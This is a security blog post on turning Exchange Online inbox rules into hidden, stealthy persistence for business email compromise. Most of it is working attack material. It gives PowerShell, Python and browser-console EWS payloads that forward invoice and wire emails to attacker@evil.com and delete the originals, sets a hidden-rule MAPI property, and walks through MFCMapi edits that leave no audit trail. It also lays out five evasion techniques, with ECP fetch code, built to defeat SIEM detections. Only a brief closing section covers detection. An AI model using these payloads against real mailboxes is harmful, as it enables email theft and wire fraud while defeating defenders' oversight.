Weaponizing Exchange Online Inbox Rules

Exchange Online’s split architecture creates blind spots that BEC operators have been quietly exploiting. This post walks through four distinct techniques for creating inbox rules that evade standard detection surfaces, then examines the evasion combinations that leave most SIEM stacks looking at nothing.

The Architecture Problem

When a mailbox is compromised, the attacker’s first priority is to achieve persistence that survives a password reset. Inbox rules are the obvious choice because they live inside the mailbox itself, survive credential rotations, and, when configured correctly, can silently forward or delete emails without leaving any trace visible to the account holder. What makes Exchange Online genuinely interesting from a research perspective is that the architecture creates natural blind spots, specifically gaps between what different protocol layers and audit surfaces can actually see.

Exchange Online stores inbox rules in two fundamentally separate places. The managed layer, used by OWA and every modern Graph-aware client, operates through Graph API endpoints and the EWS managed API. Underneath that sits the raw MAPI layer, where Outlook desktop and lower-level tools like MFCMapi interact directly with FAI (Folder Associated Information) items stored in the mailbox. Rules created through one layer are not always visible through the other. The pivot point is a MAPI property called PR_RULE_MSG_STATE. Setting this to 0x11, which combines the enabled bit 0x01 with the hidden bit 0x10, makes a rule invisible to every standard UI surface and to Get-InboxRule without the -IncludeHidden flag.

Layer Clients API
Graph / EWS (managed) OWA, modern apps Graph /me/mailFolders/inbox/messageRules, EWS UpdateInboxRules
MAPI FAI (raw) Outlook desktop, MFCMapi Extended MAPI, PR_RULE_MSG_STATE property

The four techniques below map to different positions on this architecture. The first two operate through the managed layer and produce audit events, but offer meaningful evasion through the hidden bit and non-standard clients. The third exploits the same-origin trust of OWA to fire EWS calls from the browser console, leaving a user-agent signature that blends with normal traffic. The fourth drops below the managed layer entirely and writes directly to MAPI, generating no unified audit log event whatsoever.

PowerShell via Admin or Delegated Access

Requires: Exchange Online PowerShell session and mailbox access (own account or impersonation). 

The most straightforward path and also the most visible. PowerShell-created rules appear in Get-InboxRule output by default and produce a clear audit event with ClientInfoString=Client=PowerShell. What attackers gain from this path is speed and the ability to script across multiple mailboxes. An admin or delegated account can create the same forwarding rule on dozens of executive mailboxes in a single loop, which is how large-scale BEC persistence gets deployed after an admin credential is compromised.

Two commonly used variants exist. The external forwarding rule routes specific subject-matched emails to an attacker-controlled address while deleting the originals, preventing the victim from seeing forwarded copies. The move-to-folder variant relocates emails to an obscure subfolder, such as RSS Feeds, where the victim is unlikely to notice them. The delete variant yields a stronger signal for detection, but the folder-move variant often receives less scrutiny from analysts scanning for explicit ForwardTo actions.

Connect-ExchangeOnline -UserPrincipalName attacker@tenant.com

# Forward and delete - covers tracks
New-InboxRule -Mailbox "victim@tenant.com" `
    -Name " " `
    -SubjectContainsWords "invoice","payment","wire" `
    -ForwardTo "attacker@external.com" `
    -DeleteMessage $true `
    -StopProcessingRules $false

# Alternative: move to obscure folder
New-InboxRule -Mailbox "victim@tenant.com" `
    -Name "." `
    -SubjectContainsWords "password","reset","MFA" `
    -MoveToFolder "RSS Feeds"

Visibility matrix:

Viewing Surface Visible
OWA Rules UI No (some builds)
Outlook desktop Yes
Get-InboxRule Yes
Get-InboxRule -IncludeHidden Yes

EWS UpdateInboxRules with the Hidden Bit

Requires: Valid Bearer token or session cookie, no admin privileges needed, operates on the user’s own mailbox

This is where things get interesting from a forensic standpoint. EWS exposes an UpdateInboxRules operation that, unlike the PowerShell cmdlets, allows the caller to set raw MAPI extended properties on the rule object when creating it. The property in question is PR_RULE_MSG_STATE at tag 0x6577. Setting this to the integer 17 (0x11 in hex) tells Exchange to store the rule with both the enabled and hidden bits set. The result is a rule that functions normally, running against incoming mail and executing its actions, but cannot be seen through Graph’s /messageRules endpoint, does not appear in Get-InboxRule without -IncludeHidden, and is invisible in both OWA and Outlook desktop.

From an attacker’s perspective, this is the sweet spot. A stolen Bearer token obtained from an AiTM proxy or an OAuth app that granted offline_access is sufficient to fire this call. No elevated permissions are required. The rule continues to operate after the token that created it has been revoked because it is stored as a mailbox object rather than a session artifact. Password resets do not remove it.

The SOAP payload below demonstrates a zero-width space character as the rule display name. This Unicode character renders as blank in any rule listing that displays the rule, yet remains a non-empty string that passes validation. Combined with the hidden bit, the rule is both invisible and nameless.

import requests

EWS_URL = "https://outlook.office365.com/EWS/Exchange.asmx"
TOKEN = "eyJ0eXAi..."  # Stolen or legitimate Bearer token

headers = {
    "Authorization": f"Bearer {TOKEN}",
    "Content-Type": "text/xml; charset=utf-8",
}

soap = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2016"/>
  </soap:Header>
  <soap:Body>
    <m:UpdateInboxRules>
      <m:RemoveOutlookRuleBlob>true</m:RemoveOutlookRuleBlob>
      <m:Operations>
        <t:CreateRuleOperation>
          <t:Rule>
            <t:DisplayName>&#x200B;</t:DisplayName>
            <t:Priority>1</t:Priority>
            <t:IsEnabled>true</t:IsEnabled>
            <t:Conditions>
              <t:ContainsSubjectStrings>
                <t:String>invoice</t:String>
                <t:String>wire transfer</t:String>
                <t:String>payment</t:String>
              </t:ContainsSubjectStrings>
            </t:Conditions>
            <t:Actions>
              <t:ForwardToRecipients>
                <t:Address>
                  <t:EmailAddress>attacker@evil.com</t:EmailAddress>
                </t:Address>
              </t:ForwardToRecipients>
              <t:Delete>true</t:Delete>
            </t:Actions>
            <!-- PR_RULE_MSG_STATE: 0x01 (enabled) | 0x10 (hidden) = 0x11 = 17 -->
            <t:ExtendedProperty>
              <t:ExtendedFieldURI PropertyTag="0x6577" PropertyType="Integer"/>
              <t:Value>17</t:Value>
            </t:ExtendedProperty>
          </t:Rule>
        </t:CreateRuleOperation>
      </m:Operations>
    </m:UpdateInboxRules>
  </soap:Body>
</soap:Envelope>"""

resp = requests.post(EWS_URL, headers=headers, data=soap)
print(resp.text)
# Success: <m:ResponseCode>NoError</m:ResponseCode>

Visibility matrix:

Viewing Surface Visible
OWA Rules UI No
Outlook desktop No
Get-InboxRule No
Graph /messageRules No
Get-InboxRule -IncludeHidden Yes, only path

Browser DevTools via an Active OWA Session

Requires: Active OWA session at outlook.office.com, press F12, open the Console tab

This technique consistently surprises analysts when they first encounter it, because it requires nothing more than a running browser session. EWS is hosted on the same origin as OWA, which means JavaScript running in the browser console at outlook.office.com can call EWS endpoints with the session cookie automatically attached by the browser’s same-origin policy. There is no token extraction, no proxy, no tooling required.

The CSRF canary token required by EWS in this context is readable from the cookie jar without any special privilege because it is a non-HttpOnly cookie that JavaScript can access by design. The attacker reads it with a simple regex on ‘document.cookie’, includes it in the request header, and the EWS call proceeds with full authentication inherited from the active session. What makes this forensically difficult is the audit log entry. The UserAgent field in the event reflects the victim’s actual browser, not Python or PowerShell. A defender reviewing the audit log sees what appears to be a browser-based inbox rule operation from the user’s own machine. The distinguishing signal is ClientInfoString=Client=WebServices without the expected Client=OWA prefix that would appear if the rule were created through the normal OWA rules management UI.

// Step 1 – extract CSRF canary from session cookie
const canary = document.cookie.match(/X-OWA-CANARY=([^;]+)/)?.[1] ?? “”;

// Step 2 – EWS SOAP payload with hidden bit (PR_RULE_MSG_STATE = 17)
const soap = `<?xml version=”1.0″ encoding=”utf-8″?>
<soap:Envelope xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/&#8221;
               xmlns:t=”http://schemas.microsoft.com/exchange/services/2006/types&#8221;
               xmlns:m=”http://schemas.microsoft.com/exchange/services/2006/messages”&gt;
  <soap:Header><t:RequestServerVersion Version=”Exchange2016″/></soap:Header>
  <soap:Body>
    <m:UpdateInboxRules>
      <m:RemoveOutlookRuleBlob>true</m:RemoveOutlookRuleBlob>
      <m:Operations>
        <t:CreateRuleOperation>
          <t:Rule>
            <t:DisplayName>&#x200B;</t:DisplayName>
            <t:Priority>1</t:Priority>
            <t:IsEnabled>true</t:IsEnabled>
            <t:Conditions>
              <t:ContainsSubjectStrings>
                <t:String>invoice</t:String>
                <t:String>payment</t:String>
              </t:ContainsSubjectStrings>
            </t:Conditions>
            <t:Actions>
              <t:ForwardToRecipients>
                <t:Address>
                  <t:EmailAddress>attacker@evil.com</t:EmailAddress>
                </t:Address>
              </t:ForwardToRecipients>
              <t:Delete>true</t:Delete>
            </t:Actions>
            <t:ExtendedProperty>
              <t:ExtendedFieldURI PropertyTag=”0x6577″ PropertyType=”Integer”/>
              <t:Value>17</t:Value>
            </t:ExtendedProperty>
          </t:Rule>
        </t:CreateRuleOperation>
      </m:Operations>
    </m:UpdateInboxRules>
  </soap:Body>
</soap:Envelope>`;

// Step 3 – POST to EWS; session cookie sent automatically (same-origin)
const resp = await fetch(“https://outlook.office365.com/EWS/Exchange.asmx&#8221;, {
  method: “POST”,
  credentials: “include”,
  headers: {
    “Content-Type”: “text/xml; charset=utf-8”,
    “X-OWA-CANARY”: canary
  },
  body: soap
});
console.log(await resp.text());

// Verify the rule is hidden; it should NOT appear here
const check = await fetch(
  “https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules&#8221;,
  { credentials: “include” }
);
const rules = await check.json();
console.log(rules.value.map(r => r.displayName));
// Hidden rule will be absent from this list

Direct MAPI Write with Zero Audit Events

Requires: Outlook desktop installed and configured, MFCMapi tool

The nuclear option from a detection standpoint. MFCMapi is a legitimate Microsoft MAPI debugging tool that allows direct manipulation of mailbox properties below the Exchange transport rules layer. By navigating to the inbox’s Associated Contents table, where FAI items, including rule definitions, are stored, an attacker can find an existing rule object and directly edit the PR_RULE_MSG_STATE property to 0x11. This write operation occurs via MAPI rather than EWS or the managed API layer, and Exchange’s unified audit logging infrastructure never sees it.

The procedure is entirely point-and-click. Open MFCMapi, log on with the configured Outlook profile, navigate to the inbox, switch to the Associated Contents table, and find the row with message class IPM.Rule.Version2.Message, and edit property tag 0x65770003 to the value 0x11. The rule continues to function and process incoming mail normally. It does not appear in any standard management interface. No audit log entry is generated. Threat actors with physical or remote access to the victim’s workstation, which is common in later stages of a BEC engagement, can use this technique to establish persistence that is genuinely silent from a logging perspective. It represents a meaningful gap in the standard Exchange audit model.

Visibility matrix:

Viewing Surface Visible
OWA Rules UI No
Outlook desktop No
Get-InboxRule No
Get-InboxRule -IncludeHidden Yes
Unified Audit Log No, no event generated

Critical: No audit event is generated by this technique. Standard SIEM-based detection cannot catch MFCMapi rule modification. The only reliable detection path is periodic Get-InboxRule -IncludeHidden sweeps, run as a scheduled compliance task, compared against a known baseline of expected rules per mailbox.


Visual Obfuscation Without the Hidden Bit

The hidden bit is the most powerful technique, but it requires API-level access. Attackers who operate through the OWA rules UI or who want to avoid the client-string signals from EWS calls sometimes rely on visual obfuscation instead. None of these tricks makes a rule invisible to Get-InboxRule, but they make it unlikely that a victim or an analyst doing a quick visual review will notice the rule exists.

Trick Implementation Effect
Zero-width space name Rule name set to U+200B Appears blank in listings that do show the rule
Unicode lookalike Ϝocused instead of Focused Homoglyph passes visual inspection but differs from legitimate built-in names
Low-priority burial Priority set to 99 Pushed off-screen below the fold; analysts rarely scroll to the end
Obscure target folder Conversation History or Clutter The victim almost never opens these folders
Self-trigger condition From: victim@company.com Rule only fires on specific reply threads, reducing volume and analyst attention

The Evasion Problem

What Happens When Attackers Know What Detections Look For? And they know!

The detection query above catches the obvious cases. An attacker who understands what SIEM rules are checking for, however, can break each of those signals independently. The standard detection stack for inbox rule abuse checks six things roughly in order: the rule name for blank or invisible characters, the forwarding action for external domain recipients, the delete-original action, catch-all conditions with no filtering criteria, the client string for non-OWA creation paths, and the combination of create-plus-forward-plus-delete in a single rule. Evasion means breaking every one of these signals simultaneously.

Evasion Vector 1: Rule Names That Look Like Real User Rules

Modern detections flag blank names, single-character names, and zero-width Unicode characters. The countermeasure is straightforward: use a rule name that every user legitimately has. Names like “Newsletter Cleanup,” “Receipts,” or “Teams Notifications” are statistically common enough that flagging them would generate unacceptable false positive rates. An attacker who names a malicious rule “Focused Inbox Helper” is mimicking Microsoft’s own naming conventions and will not trigger any name-based detection.

// Names that blend into real user rule sets
const evasiveNames = [
  "Newsletter Cleanup",      // Every user has something like this
  "Receipts",                // Common personal organizational rule
  "Junk - Extended",         // Reads like a built-in filter extension
  "Teams Notifications",     // Extremely common across tenants
  "Focused Inbox Helper",    // Directly mimics Microsoft naming
];

// Avoid: blank, ".", " ", zero-width chars - flagged by modern detections

Evasion Vector 2: Action Substitution (No External Forward)

External forwarding to a non-tenant domain is the highest-fidelity BEC signal in any detection stack. If an inbox rule forwards to any external address, it will fire on virtually every SIEM rule that covers Exchange. The solution is to avoid forwarding externally altogether.

The move-and-collect approach stores emails in Archive or Conversation History and marks them as read so the victim does not notice an unread badge. The attacker then re-authenticates periodically using a stolen refresh token that survives password resets and reads collected emails directly through the Graph API. No forwarding action occurs, no external domain appears in any rule definition, and the collection event looks like a normal mail read session.

// HIGH SIGNAL: triggers every BEC detection stack
{ ForwardTo: ["attacker@gmail.com"], DeleteMessage: true }

// LOW SIGNAL: move to folder, collect via Graph API later
{ MoveToFolder: "Archive", MarkAsRead: true }

// LOW SIGNAL: categorize only, read via session later
{ ApplyCategory: ["Follow Up"], MarkAsRead: true }

// Collection during subsequent session (no rule-based exfil in audit log):
// GET /me/mailFolders/Archive/messages
//     ?$filter=receivedDateTime ge 2026-06-01
//     &$select=subject,from,body,hasAttachments

Evasion Vector 3: Surgical Conditions (No Catch-All Rules)

A rule with no conditions, one that applies to every incoming email, is an anomaly that detection engines score heavily. Real user rules almost always have conditions. The fix is to add conditions that resemble genuine user-created organizational criteria: specific sender domains associated with financial services and subject keywords that match the context of a payment-monitoring rule. At that point, the malicious and the benign are functionally indistinguishable.

// HIGH SIGNAL: no conditions = catch-all = anomaly score spikes
{ Name: "Receipts", Actions: { MoveToFolder: "Archive" } }

// LOW SIGNAL: looks exactly like a real receipt-organizer rule
{
  Name: "Receipts",
  Conditions: {
    FromAddressContainsWords: ["@paypal.com", "@stripe.com", "@bank"],
    SubjectContainsWords: ["statement", "receipt", "confirmation"]
  },
  Actions: { MoveToFolder: "Archive", MarkAsRead: true }
}

Evasion Vector 4: Staged Modification to Avoid the New-InboxRule Event

New-InboxRule events are the primary trigger for most BEC SIEM rules. Set-InboxRule events, which modify an existing rule rather than creating a new one, are weighted significantly lower in most detection stacks because they are far more common as ordinary user behavior.

The staged approach exploits this gap. The first step is to create a completely benign rule through the OWA interface in the normal way, producing a New-InboxRule event with Client=OWA that is indistinguishable from any user creating a newsletter filter. The second step modifies that rule in ECP DevTools to add BEC-relevant conditions and actions, resulting in a lower-priority Set-InboxRule event. If the modification also avoids external forwarding and uses an archive-and-collect pattern, the resulting audit trail contains nothing but noise.

const ecpToken = document.cookie.match(/msExchEcpCanary=([^;]+)/)?.[1];

// List existing rules to find the one created via OWA in step 1
const list = await (await fetch("/ecp/RulesEditor/InboxRules.svc/GetList", {
method: "POST", credentials: "include",
headers: {
"Content-Type": "application/json; charset=utf-8",
"msExchEcpCanary": ecpToken,
"X-Requested-With": "XMLHttpRequest"
},
body: JSON.stringify({ filter: null, sortBy: null, startIndex: 0, pageSize: 100 })
})).json();

const targetRule = list.Output
.find(r => r.Name === "Receipts")
.Identity.RawIdentity;

// Modify the existing rule; Set-InboxRule is far lower signal than New-InboxRule
await fetch("/ecp/RulesEditor/InboxRules.svc/SetObject", {
method: "POST", credentials: "include",
headers: {
"Content-Type": "application/json; charset=utf-8",
"msExchEcpCanary": ecpToken,
"X-Requested-With": "XMLHttpRequest"
},
body: JSON.stringify({
identity: { RawIdentity: targetRule },
properties: {
SubjectContainsWords: ["statement", "invoice", "wire", "receipt"],
MoveToFolder: "Archive",
MarkAsRead: true,
DeleteMessage: false    // No deletion avoids the cover-track signal
}
})
});

Evasion Vector 5: Timing

Detection systems that use behavioral baselines weigh actions differently depending on when they occur relative to other events. Rule creation at 3 AM from a new IP address carries a much higher anomaly score than the same action at 10 AM during an active OWA session from the user’s usual location. A stolen refresh token can persist for weeks, which means an attacker with ongoing access can afford to wait for a low-noise window rather than act immediately after the initial compromise.

Higher-risk windows to avoid include off-hours periods between 2 and 4 AM local time, the moments immediately after first login from a new IP, and any window during active incident response on the same account. Lower-risk windows include business hours during legitimate OWA activity, periods around password resets or MFA enrollment events, when the audit stream is already noisy with authentication events, and the few minutes after legitimate OWA activity, which can make rule creation appear to be a natural session continuation.

Lowest Detection Profile

When all five vectors are applied simultaneously, encompassing a legitimate rule name, internal archive-and-collect action with no external forward, surgical financial conditions, staged modification through Set-InboxRule, and business-hours timing, the result is a persistence mechanism that produces zero standard BEC alert signals. The audit trail shows only a user who created a receipt-organizer rule and later adjusted it. The rule silently archives financial emails that match specific keyword patterns. The attacker reads the collected emails via periodic Graph API sessions authenticated with a long-lived refresh token.

const ecpToken = document.cookie.match(/msExchEcpCanary=([^;]+)/)?.[1];

// Hijack an existing benign rule so no creation event fires
const list = await (await fetch("/ecp/RulesEditor/InboxRules.svc/GetList", {
  method: "POST", credentials: "include",
  headers: {
    "Content-Type": "application/json; charset=utf-8",
    "msExchEcpCanary": ecpToken,
    "X-Requested-With": "XMLHttpRequest"
  },
  body: JSON.stringify({ filter: null, sortBy: null, startIndex: 0, pageSize: 100 })
})).json();

const targetRule = list.Output[0].Identity.RawIdentity;

await fetch("/ecp/RulesEditor/InboxRules.svc/SetObject", {
  method: "POST", credentials: "include",
  headers: {
    "Content-Type": "application/json; charset=utf-8",
    "msExchEcpCanary": ecpToken,
    "X-Requested-With": "XMLHttpRequest"
  },
  body: JSON.stringify({
    identity: { RawIdentity: targetRule },
    properties: {
      SubjectContainsWords: ["statement", "invoice", "wire", "receipt"],
      MoveToFolder: "Archive",
      MarkAsRead: true,
      DeleteMessage: false    // No deletion avoids the cover-track signal
    }
  })
});

// Collection via Graph - no rule-based exfil action in any audit log:
// GET /me/mailFolders/Archive/messages?$filter=receivedDateTime ge 2026-06-01

Closing the Gap

The blind spot in most BEC SQL is the Set-InboxRule operation, which adds financial keywords to the conditions of an existing rule. Standard detections watch for rule creation events, external forwarding actions, and deletion flags. Modifying an existing rule’s conditions to include terms such as “invoice” or “wire” via ECP or EWS is not covered by most detection stacks, as it has historically been considered too noisy. The specificity required to close this gap comes from scoping, from financial keyword additions, and from non-OWA client paths.

For MFCMapi-modified rules, where no audit log event exists, the only reliable detection path is a periodic compliance sweep using Get-InboxRule -IncludeHidden across all mailboxes, compared against a per-user baseline of known rules. Rules that appear in the hidden query but not in the standard query, or that appeared since the previous sweep without a corresponding audit event, represent forensic anomalies worth investigating. This is an operational gap that requires scheduled PowerShell execution rather than SIEM-level detection.

Discover more from CYBERDOM

Subscribe now to keep reading and get access to the full archive.

Continue reading